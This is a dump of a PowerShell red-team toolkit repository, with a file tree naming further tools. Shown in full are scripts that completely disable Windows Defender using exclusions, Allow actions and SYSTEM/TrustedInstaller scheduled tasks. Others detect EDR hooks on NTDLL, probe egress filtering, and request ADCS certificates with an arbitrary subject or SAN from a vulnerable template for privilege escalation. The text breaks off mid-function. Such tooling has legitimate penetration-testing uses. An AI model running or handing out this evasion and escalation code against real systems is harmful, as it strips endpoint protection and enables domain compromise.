├── Disable-WinDefender.ps1 ├── Get-HookedFunction.ps1 ├── Get-UnfilteredEgress.ps1 ├── Invoke-ADCSEnrollment.ps1 ├── Invoke-AsLoggedOnUser.ps1 ├── Invoke-AsSystem.ps1 ├── Invoke-CommandAs.ps1 ├── Invoke-DcomExec.ps1 ├── Invoke-HashSpray.ps1 ├── Invoke-TokenMan.ps1 ├── Invoke-UserSniper.ps1 └── LICENSE /Disable-WinDefender.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 3 2 | 3 | Function Disable-WinDefender { 4 | <# 5 | .SYNOPSIS 6 | Disable Windows Defender. 7 | 8 | Author: Timothee MENOCHET (@_tmenochet) 9 | 10 | .DESCRIPTION 11 | Disable-WinDefender completely disables Microsoft Windows Defender antivirus protection. 12 | Please note that a system reboot is required to make sure all functionalities are disabled. 13 | WARNING: You should consider this operation is NOT easily reversible and the system will no longer be protected! 14 | This script is highly inspired from https://bidouillesecurity.com/disable-windows-defender-in-powershell. 15 | 16 | .EXAMPLE 17 | PS C:\> Disable-WinDefender 18 | #> 19 | [CmdletBinding()] 20 | Param () 21 | 22 | # Check if user is elevated 23 | $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) 24 | if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { 25 | Write-Warning "This command must be launched as an Administrator" 26 | return 27 | } 28 | 29 | Write-Host "[*] Adding Windows Defender exclusions for the whole system..." 30 | 67..90 | Foreach-Object { 31 | $drive = [char]$_ 32 | Add-MpPreference -ExclusionPath "$($drive):\" -ErrorAction SilentlyContinue 33 | Add-MpPreference -ExclusionProcess "$($drive):\*" -ErrorAction SilentlyContinue 34 | } 35 | 36 | Write-Host "[*] Setting default actions to 'Allow'..." 37 | Set-MpPreference -LowThreatDefaultAction Allow -ErrorAction SilentlyContinue 38 | Set-MpPreference -ModerateThreatDefaultAction Allow -ErrorAction SilentlyContinue 39 | Set-MpPreference -HighThreatDefaultAction Allow -ErrorAction SilentlyContinue 40 | 41 | Write-Host "[*] Disabling scanning engines..." 42 | Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue 43 | Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue 44 | Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue 45 | Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue 46 | Set-MpPreference -DisableRemovableDriveScanning $true -ErrorAction SilentlyContinue 47 | Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue 48 | Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -ErrorAction SilentlyContinue 49 | Set-MpPreference -DisableScanningNetworkFiles $true -ErrorAction SilentlyContinue 50 | Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue 51 | Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue 52 | 53 | if ((Get-CimInstance -ClassName Win32_OperatingSystem -Verbose:$false).ProductType -ne 1) { 54 | # Host is a server, Windows Defender can be uninstalled properly 55 | Write-Host "[*] Uninstalling Windows Defender..." 56 | try { 57 | Uninstall-WindowsFeature Windows-Defender -ErrorAction Stop 58 | Uninstall-WindowsFeature Windows-Defender-Features -ErrorAction Stop 59 | } 60 | catch { 61 | Write-Warning "Windows Defender did not uninstall successfully" 62 | } 63 | } 64 | 65 | if ((Get-Service -Name WinDefend -ErrorAction SilentlyContinue).Status -eq 'Running') { 66 | Write-Host "[*] Disabling Windows Defender services..." 67 | # WdNisSvc : Network Inspection Service 68 | # WinDefend : Antivirus Service 69 | # Sense : Advanced Protection Service 70 | Invoke-CommandAs -Identity 'NT SERVICE\TrustedInstaller' -ScriptBlock { 71 | $svc_list = @("WdNisSvc", "WinDefend", "Sense") 72 | foreach ($svc in $svc_list) { 73 | if (Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\$svc") { 74 | if ((Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$svc").Start -eq 4) { 75 | Write-Output "[+] Service $svc already disabled" 76 | } 77 | else { 78 | Write-Output "[+] Disabling service $svc (effective after reboot)" 79 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$svc" -Name Start -Value 4 80 | } 81 | } 82 | else { 83 | Write-Output "[+] Service $svc does not exist" 84 | } 85 | } 86 | } 87 | 88 | Write-Host "[*] Disabling Windows Defender drivers..." 89 | # WdnisDrv : Network Inspection System Driver 90 | # wdfilter : Mini-Filter Driver 91 | # wdboot : Boot Driver 92 | Invoke-CommandAs -Identity 'NT SERVICE\TrustedInstaller' -ScriptBlock { 93 | $drv_list = @("WdnisDrv", "wdfilter", "wdboot") 94 | foreach ($drv in $drv_list) { 95 | if (Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\$drv") { 96 | if ((Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$drv").Start -eq 4) { 97 | Write-Output "[+] Driver $drv already disabled" 98 | } 99 | else { 100 | Write-Output "[+] Disabling driver $drv (effective after reboot)" 101 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$drv" -Name Start -Value 4 102 | } 103 | } 104 | else { 105 | Write-Output "[+] Driver $drv does not exist" 106 | } 107 | } 108 | } 109 | 110 | Write-Warning "Please reboot the system and run this script again to make sure all functionalities are disabled" 111 | } 112 | else { 113 | Write-Host "[*] Disabling all functionalities..." 114 | Invoke-CommandAs -Identity 'NT SERVICE\TrustedInstaller' -ScriptBlock { 115 | # Cloud-delivered protection 116 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SpyNetReporting -Value 0 117 | # Automatic Sample submission 118 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SubmitSamplesConsent -Value 0 119 | # Tamper protection 120 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name TamperProtection -Value 4 121 | # Windows Defender 122 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 123 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 124 | } 125 | Write-Host "[*] Done!" 126 | } 127 | } 128 | 129 | Function Local:Invoke-CommandAs { 130 | <# 131 | .SYNOPSIS 132 | Invoke PowerShell script block as privileged account. 133 | 134 | Author: Timothee MENOCHET (@_tmenochet) 135 | 136 | .DESCRIPTION 137 | Invoke-CommandAs runs PowerShell script block on local computer via scheduled job. 138 | 139 | .PARAMETER ScriptBlock 140 | Specifies the PowerShell script block to run. 141 | 142 | .PARAMETER ArgumentList 143 | Specifies the PowerShell script block arguments. 144 | 145 | .PARAMETER Identity 146 | Specifies the account to use, defaults to 'NT AUTHORITY\SYSTEM'. 147 | 148 | .EXAMPLE 149 | PS C:\> Invoke-CommandAs -ScriptBlock {whoami /groups} -Identity 'NT SERVICE\TrustedInstaller' 150 | #> 151 | 152 | [CmdletBinding()] 153 | Param ( 154 | [Parameter(Mandatory = $true)] 155 | [ScriptBlock] 156 | $ScriptBlock, 157 | 158 | [Object[]] 159 | $ArgumentList, 160 | 161 | [ValidateSet('NT AUTHORITY\SYSTEM', 'NT SERVICE\TrustedInstaller')] 162 | [String] 163 | $Identity = 'NT AUTHORITY\SYSTEM' 164 | ) 165 | 166 | # Create scheduled job 167 | try { 168 | $jobParameters = @{ 169 | Name = [guid]::NewGuid().Guid 170 | ScheduledJobOption = New-ScheduledJobOption -StartIfOnBattery -ContinueIfGoingOnBattery 171 | } 172 | $jobArgumentList = @{ 173 | ScriptBlock = $ScriptBlock 174 | Using = @() 175 | } 176 | if ($ArgumentList) { 177 | $jobArgumentList['ArgumentList'] = $ArgumentList 178 | } 179 | $jobScriptBlock = [ScriptBlock]::Create(@' 180 | Param($Parameters) 181 | $jobParameters = @{} 182 | if ($Parameters.ScriptBlock) { $jobParameters['ScriptBlock'] = [ScriptBlock]::Create($Parameters.ScriptBlock) } 183 | if ($Parameters.ArgumentList) { $jobParameters['ArgumentList'] = $Parameters.ArgumentList } 184 | if ($Parameters.Using) { 185 | $Parameters.Using | % { Set-Variable -Name $_.Name -Value ([Management.Automation.PSSerializer]::Deserialize($_.Value)) } 186 | Start-Job @JobParameters | Receive-Job -Wait -AutoRemoveJob 187 | } 188 | else { 189 | Invoke-Command @JobParameters 190 | } 191 | '@) 192 | $scheduledJob = Register-ScheduledJob @jobParameters -ScriptBlock $jobScriptBlock -ArgumentList $jobArgumentList -ErrorAction Stop 193 | 194 | # Create scheduled task 195 | try { 196 | $scheduleService = New-Object -ComObject ('Schedule.Service') 197 | $scheduleService.Connect() 198 | $scheduleTaskFolder = $scheduleService.GetFolder("\") 199 | $taskDefinition = $scheduleService.NewTask(0) 200 | $taskDefinition.Settings.StopIfGoingOnBatteries = $false 201 | $taskDefinition.Settings.DisallowStartIfOnBatteries = $false 202 | $taskName = [guid]::NewGuid().Guid 203 | $taskAction = $taskDefinition.Actions.Create(0) 204 | $taskAction.Path = $scheduledJob.PSExecutionPath 205 | $taskAction.Arguments = $scheduledJob.PSExecutionArgs 206 | Write-Verbose "[Invoke-CommandAs] Registering scheduled task $taskName" 207 | $registeredTask = $scheduleTaskFolder.RegisterTaskDefinition($taskName, $taskDefinition, 6, $Identity, $null, 5) 208 | Write-Verbose "[Invoke-CommandAs] Running scheduled task as $Identity" 209 | $scheduledTask = $registeredTask.Run($null) 210 | do { 211 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name 212 | Start-Sleep -Milliseconds 100 213 | } 214 | while ($scheduledTaskInfo.State -eq 3 -and $scheduledTaskInfo.LastTaskResult -eq 267045) 215 | do { 216 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name 217 | Start-Sleep -Milliseconds 100 218 | } 219 | while ($scheduledTaskInfo.State -eq 4) 220 | if ($scheduledTaskInfo.LastRunTime.Year -ne (Get-Date).Year) { 221 | Write-Warning "[Invoke-CommandAs] Failed to execute scheduled task." 222 | } 223 | } 224 | catch { 225 | Write-Error "[Invoke-CommandAs] Task execution failed. $_" 226 | } 227 | finally { 228 | Write-Verbose "[Invoke-CommandAs] Unregistering scheduled task $taskName" 229 | if ($scheduledTask) { 230 | $scheduleTaskFolder.DeleteTask($scheduledTask.Name, 0) | Out-Null 231 | } 232 | } 233 | 234 | if ($job = Get-Job -Name $scheduledJob.Name -ErrorAction SilentlyContinue) { 235 | $job | Wait-Job | Receive-Job -Wait -AutoRemoveJob 236 | } 237 | } 238 | catch { 239 | Write-Error $_ 240 | } 241 | finally { 242 | if ($scheduledJob) { 243 | Get-ScheduledJob -Id $scheduledJob.Id -ErrorAction SilentlyContinue | Unregister-ScheduledJob -Force -Confirm:$False | Out-Null 244 | } 245 | } 246 | } 247 | -------------------------------------------------------------------------------- /Get-HookedFunction.ps1: -------------------------------------------------------------------------------- 1 | function Get-HookedFunction { 2 | <# 3 | .SYNOPSIS 4 | Detect API hooks on NTDLL's functions. 5 | Privileges required: low 6 | 7 | Author: Timothée MENOCHET (@_tmenochet) 8 | 9 | .DESCRIPTION 10 | Get-HookedFunction is a PowerShell implementation of HookDetector by @matterpreter. 11 | 12 | .EXAMPLE 13 | PS C:\> Get-HookedFunction 14 | #> 15 | 16 | $functions = @( 17 | "NtClose" 18 | "NtAllocateVirtualMemory" 19 | "NtAllocateVirtualMemoryEx" 20 | "NtCreateThread" 21 | "NtCreateThreadEx" 22 | "NtCreateUserProcess" 23 | "NtFreeVirtualMemory" 24 | "NtLoadDriver" 25 | "NtMapViewOfSection" 26 | "NtOpenProcess" 27 | "NtProtectVirtualMemory" 28 | "NtQueueApcThread" 29 | "NtQueueApcThreadEx" 30 | "NtResumeThread" 31 | "NtSetContextThread" 32 | "NtSetInformationProcess" 33 | "NtSuspendThread" 34 | "NtUnloadDriver" 35 | "NtWriteVirtualMemory" 36 | ) 37 | 38 | [byte[]] $safeBytes = ( 39 | 0x4C, 0x8B, 0xD1, # mov r10, rcx 40 | 0xB8 # mov eax, ?? 41 | ) 42 | 43 | if (-not (Get-ProcessArch)) { 44 | Write-Warning "It looks like you're not running x64." 45 | return 46 | } 47 | 48 | # Get the base address of ntdll.dll in our own process 49 | $ntdllBase = Get-NTDLLBase 50 | if ($ntdllBase -eq [IntPtr]::Zero) { 51 | Write-Warning "Couldn't get find ntdll.dll" 52 | return 53 | } 54 | else { 55 | Write-Verbose ("NTDLL Base Address: 0x{0:X}" -f $ntdllBase.ToInt64()) 56 | } 57 | 58 | # Get the address of each of the target functions in ntdll.dll 59 | $funcAddresses = Get-FuncAddress $ntdllBase $functions 60 | 61 | # Check the first DWORD at each function's address for proper SYSCALL setup 62 | $i = 0 63 | foreach ($func in $funcAddresses.GetEnumerator()) { 64 | $instructions = New-Object byte[] 4 65 | [Runtime.InteropServices.Marshal]::Copy([IntPtr]$func.Value, [byte[]]$instructions, [Int32]0, [Int32]4) 66 | $safe = [Linq.Enumerable]::SequenceEqual($safeBytes, $instructions) 67 | $fmtFunc = [string]::Format(" {0,-25} 0x{1:X} ", $func.Key, $func.Value.ToInt64()) 68 | if ($safe) { 69 | $instructions = "N/A" 70 | } 71 | else { 72 | $hookInstructions = New-Object byte[] 32 73 | [Runtime.InteropServices.Marshal]::Copy($func.Value, $hookInstructions, 0, 32) 74 | $instructions = [BitConverter]::ToString($hookInstructions).Replace("-", " ") 75 | } 76 | Write-Output ( 77 | [pscustomobject] @{ 78 | Function = $func.Key 79 | Address = $func.Value.ToInt64() 80 | Hooked = (-not $safe) 81 | Instructions = $instructions 82 | } 83 | ) 84 | $i++ 85 | } 86 | } 87 | 88 | function Local:Get-ProcessArch { 89 | $wow64 = $false 90 | [Win32]::IsWow64Process([Diagnostics.Process]::GetCurrentProcess().Handle, [ref] $wow64) | Out-Null 91 | if ([Environment]::Is64BitProcess -and -not $wow64) { 92 | return $true 93 | } 94 | else { 95 | return $false 96 | } 97 | } 98 | 99 | function Local:Get-NTDLLBase { 100 | $hProc = [Diagnostics.Process]::GetCurrentProcess() 101 | $module = ($hProc.Modules | Where-Object {$_.ModuleName -eq "ntdll.dll"})[0] 102 | if (-not ($baseAddr = $module.BaseAddress)) { 103 | $baseAddr = [IntPtr]::Zero 104 | } 105 | return $baseAddr 106 | } 107 | 108 | function Local:Get-FuncAddress { 109 | Param ( 110 | [IntPtr] $HModule, 111 | [string[]] $Functions 112 | ) 113 | $funcAddresses = @{} 114 | foreach ($function in $functions) { 115 | $funcPtr = [Win32]::GetProcAddress($HModule, $function) 116 | if ($funcPtr -ne [IntPtr]::Zero) { 117 | $funcAddresses.Add($function, $funcPtr) 118 | } 119 | else { 120 | Write-Warning ("Couldn't locate the address for {0}! (Error: {1})" -f $function, [Runtime.InteropServices.Marshal]::GetLastWin32Error()) 121 | } 122 | } 123 | return $funcAddresses 124 | } 125 | 126 | Add-Type @" 127 | using System; 128 | using System.Runtime.InteropServices; 129 | public class Win32 { 130 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 131 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 132 | 133 | [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] 134 | public static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process); 135 | } 136 | "@ -------------------------------------------------------------------------------- /Get-UnfilteredEgress.ps1: -------------------------------------------------------------------------------- 1 | function Get-UnfilteredEgress 2 | { 3 | <# 4 | .SYNOPSIS 5 | Identify outbound TCP flow authorized regarding to egress filtering. 6 | 7 | Author: Timothée MENOCHET (@synetis) 8 | 9 | .DESCRIPTION 10 | Get-UnfilteredEgress sends HTTP requests within a TCP port range in order to identify outbound TCP flow authorized regarding to egress filtering. 11 | 12 | .PARAMETER Begin 13 | Specify the first port number of the range. 14 | 15 | .PARAMETER End 16 | Specify the last port number of the range. 17 | 18 | .PARAMETER ProxyHost 19 | Specify the hostname of the corporate proxy, if any. 20 | 21 | .PARAMETER ProxyPort 22 | Specify the port number of the corporate proxy, if any. 23 | 24 | .PARAMETER ProxyUser 25 | Specify the username for authentication within the corporate proxy, if required. 26 | 27 | .PARAMETER ProxyPass 28 | Specify the password for authentication within the corporate proxy, if required. 29 | 30 | .EXAMPLE 31 | PS C:\> Get-UnfilteredEgress -Begin 8000 -End 8080 32 | 33 | .EXAMPLE 34 | PS C:\> Get-UnfilteredEgress -ProxyHost PROXY.ADATUM.CORP -ProxyPort 3128 -ProxyUser john.doe -ProxyPass P@ssw0rd 35 | #> 36 | 37 | Param ( 38 | [ValidateNotNullOrEmpty()] 39 | [Int] 40 | $Begin = 1, 41 | 42 | [ValidateNotNullOrEmpty()] 43 | [Int] 44 | $End = 1024, 45 | 46 | [ValidateNotNullOrEmpty()] 47 | [String] 48 | $ProxyHost, 49 | 50 | [ValidateNotNullOrEmpty()] 51 | [Int] 52 | $ProxyPort, 53 | 54 | [ValidateNotNullOrEmpty()] 55 | [String] 56 | $ProxyUser, 57 | 58 | [ValidateNotNullOrEmpty()] 59 | [String] 60 | $ProxyPass 61 | ) 62 | 63 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 64 | $client = New-Object Net.WebClient; 65 | 66 | If ($ProxyHost -And $ProxyPort) { 67 | $client.Proxy = New-Object Net.WebProxy($ProxyHost, $ProxyPort); 68 | } 69 | Else { 70 | $client.Proxy = [Net.WebRequest]::GetSystemWebProxy(); 71 | } 72 | If ($ProxyUser -And $ProxyPass) { 73 | $client.Proxy.Credentials = New-Object Net.NetworkCredential($ProxyUser, $ProxyPass); 74 | } 75 | Else { 76 | $client.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials; 77 | } 78 | 79 | $Begin..$End | % { 80 | $Port = $_; 81 | Try { 82 | $x = $client.DownloadString('http://portquiz.net:' + $Port); 83 | echo "[+] TCP/$Port is unfiltered!"; 84 | } Catch [Net.WebException] { 85 | # Handle HTTP 400 error when querying port 443 86 | echo "[+] TCP/$Port is unfiltered!"; 87 | } Catch { 88 | echo "[-] TCP/$Port is filtered."; 89 | } 90 | } 91 | } -------------------------------------------------------------------------------- /Invoke-ADCSEnrollment.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-ADCSEnrollment { 2 | <# 3 | .SYNOPSIS 4 | Request a client certificate from a given ADCS certificate authority. 5 | 6 | Author: Timothee MENOCHET (@_tmenochet) 7 | 8 | .DESCRIPTION 9 | Invoke-ADCSEnrollment submits a Certificate Request (including a newly generated private key) to a given CA and displays the response. 10 | It uses DCOM protocol by default, but can use WSTEP (Certificate Enrollment Web Service) protocol if credential is specified. 11 | 12 | .PARAMETER CertificateAuthority 13 | Specifies the Certificate Authority to connect to, in the form of "\". 14 | 15 | .PARAMETER CertificateTemplate 16 | Specifies the name of a certificate template to request a certificate from. 17 | 18 | .PARAMETER Machine 19 | Uses the machine context for submitting the certificate request. 20 | 21 | .PARAMETER Subject 22 | Specifies the principal distinguished name to be written into the Subject field of the certificate request. 23 | 24 | .PARAMETER Upn 25 | Specifies one or more User Principal Names to be written into the Subject Alternative Name (SAN) Extension of the certificate request. 26 | 27 | .PARAMETER Dns 28 | Specifies one or more DNS names to be written into the Subject Alternative Name (SAN) Extension of the Certificate Request. 29 | 30 | .PARAMETER Credential 31 | Credentials used for enrollment via WSTEP protocol. 32 | 33 | .EXAMPLE 34 | PS C:\> Invoke-ADCSEnrollment -CertificateAuthority "SRV-ADCS\ADATUM-CA" -CertificateTemplate "VulnerableTemplate" -Subject "CN=Administrator,CN=Users,DC=ADTUM,DC=CORP" 35 | 36 | .EXAMPLE 37 | PS C:\> PSExec -i -s powershell.exe 38 | PS C:\> Invoke-ADCSEnrollment -CertificateAuthority "SRV-ADCS\ADATUM-CA" -CertificateTemplate "VulnerableTemplate" -Machine -Dns "DC.ADATUM.CORP" 39 | #> 40 | 41 | [CmdletBinding()] 42 | Param ( 43 | [Parameter(Mandatory=$True)] 44 | [ValidateNotNullOrEmpty()] 45 | [String] 46 | $CertificateAuthority, 47 | 48 | [ValidateNotNullOrEmpty()] 49 | [String] 50 | $CertificateTemplate, 51 | 52 | [Switch] 53 | $Machine, 54 | 55 | [ValidateNotNullOrEmpty()] 56 | [String] 57 | $Subject, 58 | 59 | [ValidateNotNullOrEmpty()] 60 | [mailaddress[]] 61 | $Upn, 62 | 63 | [ValidateNotNullOrEmpty()] 64 | [ValidateScript({$_ | ForEach-Object -Process {[Uri]::CheckHostName($_) -eq [UriHostnameType]::Dns}})] 65 | [String[]] 66 | $Dns, 67 | 68 | [ValidateNotNullOrEmpty()] 69 | [Management.Automation.PSCredential] 70 | [Management.Automation.Credential()] 71 | $Credential = [Management.Automation.PSCredential]::Empty 72 | ) 73 | 74 | if ($Machine) { 75 | if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 76 | Write-Error "This must be run as an Administrator when using the machine context" -ErrorAction Stop 77 | } 78 | } 79 | 80 | if ($Credential.UserName) { 81 | # Set CA URL for enrolling via WSTEP instead of DCOM 82 | $hostname = ($CertificateAuthority -split '\\').Get(0) 83 | $ca = ($CertificateAuthority -split '\\').Get(1) 84 | $CertificateAuthority = "https://$hostname/$($ca)_CES_UsernamePassword/service.svc/CES" 85 | } 86 | 87 | if (-not $Subject) { 88 | if ($Credential.UserName) { 89 | # Set identity DN 90 | $identity = (Get-LdapCurrentUser -Credential $Credential).UserName 91 | $Subject = (Get-LdapObject -Credential $Credential -Filter "(sAMAccountName=$identity)" -Properties distinguishedName).distinguishedName 92 | } 93 | elseif ($Machine) { 94 | # Set machine DN 95 | $Subject = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0" -Name "DNName" 96 | } 97 | else { 98 | # Set user DN 99 | $Subject = ([DirectoryServices.AccountManagement.UserPrincipal]::Current).DistinguishedName.Replace(",", ", ") 100 | } 101 | } 102 | 103 | if (-not $CertificateTemplate){ 104 | if ($Machine) { 105 | $CertificateTemplate = 'Machine' 106 | } 107 | else { 108 | $CertificateTemplate = 'User' 109 | } 110 | } 111 | 112 | # Generate private key and CSR 113 | Write-Verbose "[*] Subject: $Subject" 114 | Write-Verbose "[*] SAN: $(-join $Upn)$(-join $Dns)" 115 | Write-Verbose "[*] Template: $CertificateTemplate" 116 | $csr = New-CertRequestMessage -SubjectName $Subject -CertificateTemplate $CertificateTemplate -MachineContext:$Machine -Upn $Upn -Dns $Dns -Credential $Credential 117 | $privateKeyPem = $csr.PrivateKeyPem 118 | 119 | # Submit CSR 120 | Write-Verbose "[*] Certificate Authority: $CertificateAuthority" 121 | if ($certificate = Get-IssuedCertificate -CertificateAuthority $CertificateAuthority -CertificateRequest $csr.Request) { 122 | Write-Output "$($privateKeyPem)$($certificate)" 123 | } 124 | } 125 | 126 | Function Local:New-CertRequestMessage { 127 | Param ( 128 | [String] 129 | $SubjectName, 130 | 131 | [String] 132 | $CertificateTemplate, 133 | 134 | [Switch] 135 | $MachineContext, 136 | 137 | [mailaddress[]] 138 | $Upn, 139 | 140 | [String[]] 141 | $Dns 142 | ) 143 | 144 | Begin { 145 | Function Local:New-PrivateKey { 146 | Param ([bool]$MachineContext = $false) 147 | $cspInfo = New-Object -ComObject "X509Enrollment.CCspInformations" -Strict 148 | $cspInfo.AddAvailableCsps() 149 | $privateKey = New-Object -ComObject "X509Enrollment.CX509PrivateKey" 150 | $privateKey.Length = 2048 151 | $privateKey.KeySpec = 2 # 2 = XCN_AT_SIGNATURE 152 | $privateKey.KeyUsage = 0xffffff # 0xffffff = XCN_NCRYPT_ALLOW_ALL_USAGES 153 | $privateKey.MachineContext = $MachineContext 154 | $privateKey.ExportPolicy = 1 # 1 = XCN_NCRYPT_ALLOW_EXPORT_FLAG 155 | $privateKey.CspInformations = $cspInfo 156 | $privateKey.Create() 157 | return $privateKey 158 | } 159 | 160 | Function Local:EncodeLength { 161 | Param ([IO.BinaryWriter] $Stream, [int] $Length) 162 | [byte] $bytex80 = 0x80 163 | if ($Length -lt 0) { 164 | throw "Length must be non-negative" 165 | } 166 | if ($Length -lt $bytex80) { 167 | $Stream.Write(([byte] $Length)) 168 | } 169 | else { 170 | $temp = $Length 171 | $bytesRequired = 0; 172 | while ($temp -gt 0) { 173 | $temp = $temp -shr 8 174 | $bytesRequired++ 175 | } 176 | [byte]$byteToWrite = $bytesRequired -bor $bytex80 177 | $Stream.Write($byteToWrite) 178 | $iValue = ($bytesRequired - 1) 179 | [byte]$0ffByte = 0xff 180 | for ($i = $iValue; $i -ge 0; $i--) { 181 | [byte]$byteToWrite = ($Length -shr (8 * $i) -band $0ffByte) 182 | $Stream.Write($byteToWrite) 183 | } 184 | } 185 | } 186 | 187 | Function Local:EncodeIntegerBigEndian { 188 | Param ([IO.BinaryWriter] $Stream, [byte[]] $Value, [bool] $ForceUnsigned = $true) 189 | [byte] $Integer = 0x02 190 | $Stream.Write($Integer) 191 | $prefixZeros = 0 192 | for ($i = 0; $i -lt $Value.Length; $i++) { 193 | if ($Value[$i] -ne 0) {break} 194 | $prefixZeros++ 195 | } 196 | if (($Value.Length - $prefixZeros) -eq 0) { 197 | EncodeLength -Stream $Stream -Length 1 198 | $Stream.Write(([byte]0)) 199 | } 200 | else { 201 | [byte]$newByte = 0x7f 202 | if (($ForceUnsigned) -AND ($Value[$prefixZeros] -gt $newByte)) { 203 | EncodeLength -Stream $Stream -Length ($Value.Length - $prefixZeros +1) 204 | $Stream.Write(([byte]0)) 205 | } 206 | else { 207 | EncodeLength -Stream $Stream -Length ($Value.Length - $prefixZeros) 208 | } 209 | for ($i = $prefixZeros; $i -lt $Value.Length; $i++) { 210 | $Stream.Write($Value[$i]) 211 | } 212 | } 213 | } 214 | 215 | Function Local:ConvertTo-PEM { 216 | Param ([String] $PrivateKey) 217 | $csp = New-Object Security.Cryptography.RSACryptoServiceProvider 218 | $cryptoKey = [Convert]::FromBase64String($PrivateKey) 219 | $csp.ImportCspBlob($cryptoKey) 220 | if ($csp.PublicOnly) { 221 | Write-Error "CSP does not contain a private key" 222 | } 223 | $outputStream = New-Object IO.StringWriter 224 | $parameters = $csp.ExportParameters($true) 225 | $stream = New-Object IO.MemoryStream 226 | $writer = New-Object IO.BinaryWriter($stream) 227 | $writer.Write([byte] 0x30) 228 | $innerStream = New-Object IO.MemoryStream 229 | $innerWriter = New-Object IO.BinaryWriter($innerStream) 230 | EncodeIntegerBigEndian -Stream $innerWriter -Value (New-Object byte[] @(0x00)) 231 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.Modulus 232 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.Exponent 233 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.D 234 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.P 235 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.Q 236 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.DP 237 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.DQ 238 | EncodeIntegerBigEndian -Stream $innerWriter -Value $parameters.InverseQ 239 | [int] $length = $innerStream.Length 240 | EncodeLength -Stream $writer -Length $length 241 | $writer.Write($innerStream.GetBuffer(), 0, $length) 242 | $base64 = [Convert]::ToBase64String($stream.GetBuffer(), 0, [int] $stream.Length).ToCharArray() 243 | $outputStream.WriteLine("-----BEGIN RSA PRIVATE KEY-----") 244 | for ($i = 0; $i -lt $base64.Length; $i += 64) { 245 | $outputStream.WriteLine($base64, $i, [Math]::Min(64, $base64.Length - $i)) 246 | } 247 | $outputStream.WriteLine("-----END RSA PRIVATE KEY-----"); 248 | return $outputStream.ToString() 249 | } 250 | } 251 | 252 | Process { 253 | $privateKey = New-PrivateKey -MachineContext:$MachineContext 254 | $privateKeyBase64 = $privateKey.Export("PRIVATEBLOB", 1) # 1 = XCN_CRYPT_STRING_BASE64 255 | $privateKeyPEM = ConvertTo-PEM -PrivateKey $privateKeyBase64 256 | $objPkcs10 = New-Object -ComObject "X509Enrollment.CX509CertificateRequestPkcs10" 257 | if ($MachineContext) { 258 | $context = 2 259 | } 260 | else { 261 | $context = 1 262 | } 263 | $objPkcs10.InitializeFromPrivateKey($context, $privateKey, "") 264 | $objExtensionTemplate = New-Object -ComObject "X509Enrollment.CX509ExtensionTemplateName" 265 | $objExtensionTemplate.InitializeEncode($CertificateTemplate) 266 | $objPkcs10.X509Extensions.Add($objExtensionTemplate) 267 | if ($Upn -or $Dns) { 268 | $sanExtension = New-Object -ComObject X509Enrollment.CX509ExtensionAlternativeNames 269 | $sans = New-Object -ComObject X509Enrollment.CAlternativeNames 270 | foreach ($entry in $Upn) { 271 | $san = New-Object -ComObject X509Enrollment.CAlternativeName 272 | $san.InitializeFromString(11, $entry) # 11 = XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME 273 | $sans.Add($san) 274 | [void]([System.Runtime.Interopservices.Marshal]::ReleaseComObject($san)) 275 | } 276 | foreach ($entry in $Dns) { 277 | $san = New-Object -ComObject X509Enrollment.CAlternativeName 278 | $san.InitializeFromString(3, $entry) # 3 = XCN_CERT_ALT_NAME_DNS_NAME 279 | $sans.Add($san) 280 | [void]([System.Runtime.Interopservices.Marshal]::ReleaseComObject($san)) 281 | } 282 | $sanExtension.Critical = $True 283 | $sanExtension.InitializeEncode($sans) 284 | 